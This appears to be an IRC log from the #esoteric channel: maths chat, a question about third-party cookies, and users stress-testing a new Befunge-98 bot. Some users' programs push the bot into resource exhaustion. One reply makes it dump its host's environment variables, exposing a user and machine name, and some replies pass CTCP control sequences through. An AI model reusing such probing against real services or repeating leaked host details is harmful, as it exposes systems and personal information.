05:08:12 <Bike> the bohm interpretation is the one that's deterministic and only uses schrodinger's equation. it's also nonlocal tho.
05:08:24 <Bike> so everything depends on everything else at all times. v. budhdist i'm sure
05:08:30 <tswett> Exception: Proofs of the Bolzano–Weierstrass theorem.
05:10:31 <Bike> i think it inspired the bell experiments or something? i just like it because nobody seems to believe it
05:12:08 <oerjan> tswett: i disagree. the bolzano-weierstrass theorem is trivial hth
05:12:59 <tswett> I don't remember ever seeing a proof that didn't seem excessively complicated.
05:13:33 <Bike> the one on wikipedia seems simple enough
05:13:54 <tswett> Actually, yeah, the proof on Wikipedia does seem simple enough.
05:14:09 <Bike> mostly because i can picture it in my head
05:14:36 <tswett> I think the proof I saw was more like "just repeatedly divide space into arbitrarily chosen boxes and such-and-such happens infinitely many times".
05:15:34 <tswett> Every interval contains uncountably many normal numbers, right?
05:17:34 <oerjan> just adjust initial digits of numbers you already know are normal to get them into the interval
05:18:05 * oerjan hits elliott_ with the saucepan ===\__/
05:19:23 <Bike> checkmate oerjanists
05:19:24 <tswett> Some interval contains uncountably many normal numbers, right?
05:19:47 * oerjan suddenly realizes that he took his phd in a subject that made him think of subdividing "space into arbitrarily chosen boxes" as trivial
05:21:50 <oerjan> tswett: different proof: given that non-normal numbers have measure 0, they do not fill any non-trivial interval
05:22:31 <oerjan> well, that and that any set of measure > 0 is uncountable.
05:23:49 <oerjan> ok so strengthen that to: every set of measure > 0 contains a set of normal numbers of the same measure.
05:25:19 <tswett> Subdividing space into arbitrarily chosen boxes is simple, yeah.
05:25:25 <tswett> But it seems like it should be even simpler.
05:25:36 <tswett> Is there an easy proof that the non-normal numbers have measure 0?
05:26:59 <oerjan> it's using the law of large numbers, essentially
05:28:39 <oerjan> basically choosing a random number in [0,1] is the same as choosing every digit after the decimal point independently uniformly
05:29:15 <oerjan> and by the law of large numbers the probability is 1 that the density of a digit is 1/base
05:30:07 <oerjan> that's easy conceptually, but the assumptions may not be trivial to prove :P
05:31:04 <tswett> Oh yeah. I guess the product of countably many 1s is 1.
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05:38:27 <ais523> tswett: can the product of uncountably many 1s be less than 1?
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06:57:01 <DootBot> Tie-Soul: u puts have cant who SP what square.
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08:49:10 <Sgeo> "A small unknown company called Microsoft approached Onion Labs to help promote their "computing software" Internet Explorer 9. As the direct result of our one minute spot promoting Microsoft and the Internet, IE9 is now the most popular web browser in the world and the Internet took off and currently enjoys over 2 billion users."
08:49:10 <Sgeo> (IE9 and up are still not good despite all the claims by Microsoft)
08:52:53 <fizzie> I heard that IE11 is finally good, but that might well be another rumour they started.
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09:04:48 <Sgeo> What's a third-party cookie free way to confirm whether someone is authenticated by a co-operating domain?
09:05:19 <Sgeo> I guess I can imagine flows involving user clicking through
09:06:22 <Sgeo> example.net is some website where users can be logged in, and wishes to allow example.com to know whether a given user is logged in. How does example.com find out whether a given user is logged in on example.net
09:06:36 <Sgeo> Without third-party cookies.
09:07:50 <Sgeo> Does that not use a third-party cookie? example.com initiating a request to example.net causing example.net's cookies to get sent?
09:08:34 <elliott_> btw, you should see the cookie privacy policies we have in the EU, anyway
09:08:45 <elliott_> every site pops up an overlay box telling you they're setting cookies, by law
09:09:07 <lifthrasiir> Sgeo: without having a third-party cookie, how do you track the authentication information on THAT co-operating domain after all?
09:09:25 <Sgeo> If every major browser supported P3P, I would not have an issue with it
09:10:38 <elliott_> (mostly I don't believe example.com and example.net should be able to collaborate so easily.)
09:11:01 <elliott_> ("cooperation" in the eyes of administrators is not cooperation in the eyes of users.)
09:13:40 <Sgeo> I do have other complains about IE, come to think of it
09:14:41 <Sgeo> Microsoft maintains a list of sites that IE will act like older IE when visiting. At least for our site, an old portion of it was badly affected by IE pretending to not be IE while using the old IE rendering engine
09:15:02 <Sgeo> (Yes, I know UA sniffing is evil. I did mention old portion of site)
09:15:41 <Sgeo> I should sleep
09:15:51 <elliott_> oh no, microsoft don't want broken sites to break and people to blame IE
09:16:09 <elliott_> if you've ever read the Old New Thing you shouldn't be surprised they do that kind of thing :p
09:16:29 <Sgeo> But being on the list broke the site anyway
09:16:53 <Sgeo> And there's no granularity... they (and users) can't set a.example.com to one setting and b.example.com to a different setting
09:17:47 <Sgeo> I should sleep. Again.
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10:00:17 <DootBot> TieSoul-mobile: Keepo in if movesets battle? yet? befunge-98? DOOT what have often his xbax revive? you guys beedrill prophet hey interpretations! use and for.
10:02:11 <b_jonas> fungot, in chess, how does a rook move?
10:02:26 <b_jonas> what? fungot? where are you?
10:08:13 <DootBot> TieSoul-mobile: because yes tadpole colress years! wut? I sense. across races, Leonys and (it that. becaus why response, far and get read with.
10:09:42 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: where: not found
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11:44:20 <boily> fungot: fungellot.
11:44:34 <boily> fungot: right channel.
11:44:40 <fungot> boily: yes, thanks. :)
11:44:53 <boily> fizzie: I love your bot.
11:48:04 <boily> (also, what is a “5)” face? I can't picture the facial expression...)
11:56:28 <fizzie> Some sort of specialized eyewear, I think.
11:56:34 <fizzie> Think Google Glass but different.
12:01:22 * boily thinks Google Different.
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14:35:18 <HackEgo> [wiki] [[Aheui]] http://esolangs.org/w/index.php?diff=40352&oldid=36391 * 223.62.169.75 * (+55) /* External resources */ Interpreter in Ruby
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14:44:50 <tswett> @tell oerjan Well, when you select from a continuous distribution, the probability of getting any particular number is 0, so you could say that the sum of uncountably many 0s can be 1.
14:46:39 <Jafet> I believe they're called integrals.
14:47:56 <quintopia> yeah. an integral ain't exactly a sum.
14:48:50 <quintopia> and the integral of uncountably many points could be anything you want, so it isn't saying much to say it could be 1.
14:52:34 * quintopia hands tswett the set of numbers not normal in base b
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15:01:54 <tswett> Well, the point is that it doesn't have to be 0.
15:02:21 * tswett applies a bijection which turns them into the real numbers.
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15:27:20 <TieSoul> !befunge98 "!dlroW olleH">:#,_@
15:27:30 <TieSoul> Don't worry it won't work if EgoBot's online
15:28:24 <DootBot> Too much output or non-terminating program.
15:29:35 <TieSoul> It's set at 300 chars of output or 800 ticks to say that.
15:31:23 <DootBot> Too much output or non-terminating program.
15:31:48 <Deewiant> !befunge98 ff0000"foo";@0.;# o1.@
15:33:10 <TieSoul> can you run the handprint converting program thing on it? :P
15:33:32 <TieSoul> it should be reflecting on =
15:33:45 <TieSoul> it doesn't say anything with no input
15:34:06 <TieSoul> probably should change it to say "no output" in that case
15:34:15 <Deewiant> !unefunge98 would be more convenient for one-liners
15:35:18 <TieSoul> I'm using !befunge98 because it's in more channels than this one and they would probably not know what Unefunge is.
15:35:31 <Deewiant> That doesn't prevent you from having both
15:35:38 <tswett> Is there a line break character for !befunge?
15:36:32 <TieSoul> though I could convert \n to newlines
15:36:39 <TieSoul> could do that easily actually
15:38:17 <TieSoul> what were you trying to do there?
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15:40:17 <Deewiant> !befunge98 "@@@@}":*:*****:k:kk:1.@.0
15:41:19 <Deewiant> It's running the python mostly-mycology-passing one?
15:41:48 <TieSoul> It's running the ruby mostly-mycology one
15:41:51 <Tempo> !befunge98 55+'tset'.....@
15:41:52 <DootBot> Too much output or non-terminating program.
15:42:19 <Tempo> !befunge98 55+"tset".....@
15:42:27 <Tempo> !befunge98 55+"tset",,,,,@
15:43:07 <Tempo> pfft optimization is a mug's game.
15:43:41 <DootBot> Too much output or non-terminating program.
15:43:50 <Tempo> !befunge98 ;' ';' '
15:43:50 <DootBot> Too much output or non-terminating program.
15:43:58 <TieSoul> v still works in unefunge mode right now
15:45:02 <Tempo> fingerprints too, you think?
15:45:50 <TieSoul> !befunge98 "AMOR"4(MMXVI-+++.@
15:47:01 <Deewiant> BAD: unefunge should have dimensionality 1 instead of 2
15:47:02 <TieSoul> it still takes input from stdin
15:47:33 <TieSoul> because I don't have an unefunge mode
15:47:41 <TieSoul> It's just an alias without \n.
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15:52:08 <TieSoul> input functions will now not do anything
15:52:24 <TieSoul> I might want to make them reflect instead though
15:52:34 <Deewiant> That'd be a lot less surprising
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15:53:51 <Tempo> Doomed to flatness.
15:54:26 <Deewiant> I thought you made it duplicate for a sec
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15:56:51 <DootBot> Too much output or non-terminating program.
15:58:43 <Deewiant> Needing the z isn't but otherwise looks right
15:59:28 <TieSoul> alright how to decrypt this again?
16:00:53 <Deewiant> !befunge98 3y:4'@*%,4'@*/:4'@*%,4'@*/:4'@*%,4'@*/:4'@*%,@
16:01:11 <Deewiant> Too lazy to do that programmatically
16:02:51 <TieSoul> !befunge98 3y:4'@*%\4'@*/:4'@*%\4'@*/:4'@*%\4'@/:4'@*% ,,,, @
16:02:53 <Deewiant> !befunge98 3y:'Ā%,'Ā*/:'Ā*%,'Ā*/:'Ā*%,'Ā*/:'Ā*%,@ A bit shorter glyphwise
16:04:48 <DootBot> TieSoul: doot CAN the ヽ༼ຈل͜ຈ༽ﾉ the for still I at? I running one who going!
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16:34:28 <HackEgo> [wiki] [[Special:Log/newusers]] create * Jell-E * New user account
16:35:25 <TieSoul> !befunge98 01->1# +# :# 0# g# ,# :# 5# 8# *# 4# +# -# _@
16:35:25 <DootBot> TieSoul: 01->1# +# :# 0# g# ,# :# 5# 8# *# 4# +# -# _@
16:36:11 <HackEgo> [wiki] [[Talk:Huh?]] N http://esolangs.org/w/index.php?oldid=40353 * Jell-E * (+207) Created page with "I have figured out how this language works by decompiling huh.exe. Should I put the source here or does that ruin the mystery? --~~~~"
16:36:48 <TieSoul> Well that would ruin the mystery :P
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16:39:00 <Jafet> The source was inside the executable?
16:39:38 -!- tswett has set topic: #esoteric unglogged | brainfuck survey: https://www.surveymonkey.com/s/L82SNZV | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ | If something is possible, then it's possible that nothing is possible. | 987659473857929758374956789.
16:40:57 <tswett> Everyone recognizes that digit string, right?
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16:52:20 <HackEgo> [wiki] [[CaneCode]] http://esolangs.org/w/index.php?diff=40354&oldid=38815 * 62.205.95.44 * (-3) /* External resources */ Fixed broken link
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17:42:29 <fizzie> !befunge98 :0g,:c-!#@_1+
17:42:34 <fizzie> Compactified it a bit.
17:50:29 <DootBot> TieSoul: (Too much output or non-terminating program.)
17:51:06 <DootBot> TieSoul: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 (Too much output or non-terminating program.)
17:51:18 <Deewiant> !befunge98 "SDRT"4#;("yay"2k,@,k3"emal";
17:51:59 <TieSoul> !befunge98 " egnufeB">:#,_
17:52:00 <DootBot> TieSoul: Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Befunge Bef (Too much output or non-terminating program.)
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17:56:07 <fizzie> !befunge98 :0g,:a`#@_1+
17:59:09 <Deewiant> !befunge98 "@Z5O"5c"@@w"fb' **+***+***0p
17:59:37 <HackEgo> [wiki] [[Talk:Huh?]] http://esolangs.org/w/index.php?diff=40355&oldid=40353 * Jell-E * (+3696)
18:00:16 <Deewiant> !befunge98 "rZ5O"5c"@@w"fb' **+***+***0p#@ #.
18:01:45 <TieSoul> It actually says '<=' isn't a valid operator on nil.
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18:07:19 <fizzie> Hey, Deew, was that out of yor number-encoder thing?
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18:07:37 <DootBot> TieSoul: ☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢
18:07:50 <TieSoul> unicode breaks stuff it seems
18:08:00 <TieSoul> by stuff I mean IRC output
18:08:38 <TieSoul> !befunge98 "ESAB"4("AMOR"4(M1N@
18:08:38 <DootBot> ... 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ...
18:08:38 <DootBot> ... 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ...
18:08:38 <DootBot> ... 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (Too much output or non-terminating program.)
18:09:24 <TieSoul> I should probably not show that trick to the tppleague channel. They'll probably spam it.
18:11:47 <Deewiant> Still, I think it should be calculating the visual size of the output, not the number of bytes/codepoints
18:12:32 <TieSoul> though I forgot to make it cut off long non-space-separated strings
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18:13:31 <Deewiant> Did you fix the <= on nil stuff?
18:13:48 <TieSoul> No, since I have no idea what causes it
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18:14:10 <TieSoul> !befunge98 "ESAB"4("AMOR"4(M1N@
18:14:12 <DootBot> TieSoul: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (Too much output or non-terminating program.)
18:14:21 <TieSoul> !befunge98 "ESAB"4("AMOR"4(M:*1N@
18:14:22 <DootBot> TieSoul: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (Too much output or non-terminating program.)
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18:22:40 <TieSoul> !befunge98 "enidilcyciB yeH">:#,_@
18:22:45 <fizzie> The IRC line length limit is in terms of bytes, so sometimes you have to consider both visual size and that.
18:23:21 <fizzie> enidilcyci-B sounds very medical.
18:24:05 <Bicyclidine> well, i'm named after phencyclidine in the first place.
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18:49:36 <TieSoul> so, this will take a while
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18:58:31 <DootBot> TieSoul: ... (Too much output or non-terminating program.)
18:58:48 <DootBot> TieSoul: (Infinite loop, thought I'd fall for that?)
18:59:12 <DootBot> TieSoul: (Infinite loop, thought I'd fall for that?)
18:59:30 <TieSoul> So now its protection is complete
19:01:34 <TieSoul> if it has to move more than 50 spaces while in a comment or in spaces it gives the infinite loop message
19:02:41 <TieSoul> that doesn't seem to even trigger the regex
19:02:49 <DootBot> Deewiant: ... (Too much output or non-terminating program.)
19:03:58 <TieSoul> unknown characters output a space
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19:09:39 <TieSoul> I should probably not do this:
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19:10:45 <Deewiant> !befunge98 2"?!%"d***k:"?!%"d***k*.@
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19:12:01 <Deewiant> !befunge98 2cd1a'@*+**k:cd1a'@*+**k*.@
19:12:05 <DootBot> Deewiant: 249750523253596126986008191082508397745107284763545422942882318465786458116064337081871832833112412600791098611388963732504699915191404414072711783856187321879972240746841777331158760684327811981645006... (Too much output or non-terminating program.)
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19:14:47 <Deewiant> Well, looks like. I used 99996 and figured it'd be off by a bit due to how k works
19:15:13 <Deewiant> !befunge98 2"?!%"d***k:"?!%"d***k*.@
19:17:18 <TieSoul> I think it didn't catch that
19:17:28 <TieSoul> !befunge98 2"?!%"d***k:"?!%"d***k*.@
19:17:58 <Deewiant> Or then your ulimits or whatever are working :-P
19:18:23 <TieSoul> Okay then I should put a limit in k.
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19:21:21 <TieSoul> !befunge98 2"?!%"d***k:"?!%"d***k*.@
19:21:42 <TieSoul> the k limit is not working
19:21:48 <doesthiswork> did you know that Noam Chomsky is going to be a judge on X-factor?
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19:22:22 <TieSoul> !befunge98 2"?!%"d***k:"?!%"d***k*.@
19:23:23 <Deewiant> !befunge98 2cd1a'@*+**k:cd1a'@*+**k*.@
19:24:17 <DootBot> TieSoul: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0... (Too much output or non-terminating program.)
19:24:25 <DootBot> TieSoul: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
19:24:25 <DootBot> ... 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
19:24:25 <DootBot> ... 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
19:24:25 <DootBot> ... 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
19:24:25 <DootBot> ... 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
19:24:25 <DootBot> ... 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
19:24:26 <DootBot> ... 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
19:24:27 <DootBot> ... 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
19:24:27 <DootBot> ... 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ...
19:24:28 <DootBot> ... 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 (TOO MUCH k.)
19:24:55 <Deewiant> Somehow I get the feeling that the implementation of all these ad-hoc limits is in itself very ad-hoc
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19:25:43 <TieSoul> yeah somehow I get the feeling I don't know what ad-hoc means
19:26:36 <fizzie> 1. ad hoc -- (often improvised or impromptu; "an ad hoc committee meeting")
19:27:00 <TieSoul> and yes deew how did you know?
19:27:30 <DootBot> TieSoul: <CTCP> i/<CTCP> <CTCP>ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\thijsel\AppData\RoamingCOMPUTERNAME=THIJS-PCComSpec=C:\Windows\system32\cmd.exeCommonProgramFile... (Too much output or non-terminating program.)
19:27:32 <Deewiant> Well, it seems like they weren't composing well
19:27:36 <TieSoul> have some environment variables
19:41:50 <J_Arcane> eek. Chatzilla did not like that last DootBot messag.e
19:41:51 <DootBot> J_Arcane: I the 1 lotid it saying the them can of? DOOT YayBot in RIOT snogging get your. <CTCP>ACTION ~ root at wanted!
19:43:27 <HackEgo> ls: cannot access /var/irclogs/_esoteric/????-??-??.txt: No such file or directory \ not lately; try `seen gregor ever
19:43:45 <HackEgo> ls: cannot access /var/irclogs/_esoteric/????-??-??.txt: No such file or directory \ not that I remember
19:45:47 <fizzie> The logs, they are gone.
19:46:25 <fizzie> (Due to HackEgo moving to a different server.)
19:46:26 <Deewiant> 2014-08-08T10:23:26Z Gregor (dlopen@libdl.so) has quit (Ping timeout: 240 seconds)
19:46:54 <DootBot> TieSoul: Log: http://sprunge.us/cWbV
19:47:56 <TieSoul> though that one only goes two days back
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20:06:35 <DootBot> TieSoul: Source: https://gist.github.com/TieSoul/06fe15a20084430a8d12
20:06:55 <TieSoul> includes modified version of RubyFunge
20:09:14 <Deewiant> !befunge98 "PXIF"4(8')f4'@*+**:R.@
20:09:21 <DootBot> Deewiant: 586876997669089452654708979872717640693786208435198134962134741380036139163380500787509566881909771662509654654910559288525538890772618823716520686427222855318484000702574189919040428742398741207850621... (Too much output or non-terminating program.)
20:10:34 <Deewiant> !befunge98 "PXIF"4('8'!d'%***:R.@
20:11:19 <TieSoul> that one's gonna take some time.
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20:11:26 <TieSoul> or it's just gonna not do anything
20:13:35 <TieSoul> !befunge98 "PXIF"4(aaaa***:R.@
20:13:35 <DootBot> TieSoul: 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000... (Too much output or non-terminating program.)
20:13:52 <TieSoul> !befunge98 "PXIF"4(aa*:*:*:*:R.@
20:14:09 <TieSoul> !befunge98 "PXIF"4(aa*:*:*:R.@
20:14:17 <TieSoul> !befunge98 "PXIF"4(aa*:*:R.@
20:14:17 <DootBot> TieSoul: 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000... (Too much output or non-terminating program.)
20:14:49 <TieSoul> also why doesn't mycology have IMTH? :P (not serious)
20:15:55 <DootBot> TieSoul: 8320987112741390144276341183223364380754172606361245952449277696409600000000000000
20:16:32 <TieSoul> !befunge98 "HTMI"4("AMOR"4(MF.@
20:16:32 <DootBot> TieSoul: 402387260077093773543702433923003985719374864210714632543799910429938512398629020592044208486969404800479988610197196058631666872994808558901323829669944590997424504087073759918823627727188732519779505... (Too much output or non-terminating program.)
20:16:49 <TieSoul> !befunge98 "HTMI"4("AMOR"4(M:*F.@
20:17:18 <TieSoul> I think the algorithm it uses is actually O(n^2)
20:18:53 <TieSoul> either O(n^2) or O(n*log(n)), depending on what the big O is of the Array#inject method.
20:20:04 <Deewiant> There's no ulimit or anything?
20:22:21 <int-e> I've just read that the universe soup would be luke-warm at best
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20:22:47 <olsner> luke-warm and beige, iirc
20:22:48 -!- DootBot has joined.
20:23:02 <DootBot> Deewiant: ... (Too much output or non-terminating program.)
20:23:49 <TieSoul> it uses separate ticks, not shared, to determine when to kill the process.
20:23:56 <int-e> so is the 1d restriction of befunge turing complete?
20:24:13 <Deewiant> -93, quite likely not; -98, quite likely yes
20:25:31 <Deewiant> !befunge98 "PXIF"4(2" @@":*:***R.@
20:25:54 <Deewiant> Oh, ruby doesn't have big enough bignums?
20:26:09 <Deewiant> Your 2y should push the limit then :-P
20:26:24 <TieSoul> I don't know the limit and can't find it on the internet
20:26:37 <Deewiant> Binary search, shouldn't be too hard
20:30:14 <Deewiant> !befunge98 1-"HTMI"4('@::*:**N.@.
20:30:28 <TieSoul> limit seems to be 2^31580670.
20:31:08 <Deewiant> 2^x is a power of 2 for any x by definition
20:31:42 <int-e> anyway, what are you calculating?
20:31:51 <int-e> TieSoul: it's divisible by 5, so no
20:32:15 <TieSoul> 31580670 log 2 = 9506728.95317
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20:35:01 <Deewiant> It's the number of bytes, not bits
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20:36:26 <fizzie> You can translate brainfuck very easily into Unefunge -- e.g. with the tape extending to left and http://sprunge.us/FPZb -- which should be enough.
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20:37:06 <fizzie> Er, the + and - are missing a \. Anyhow.
20:41:30 <fizzie> I must not have been very awake.
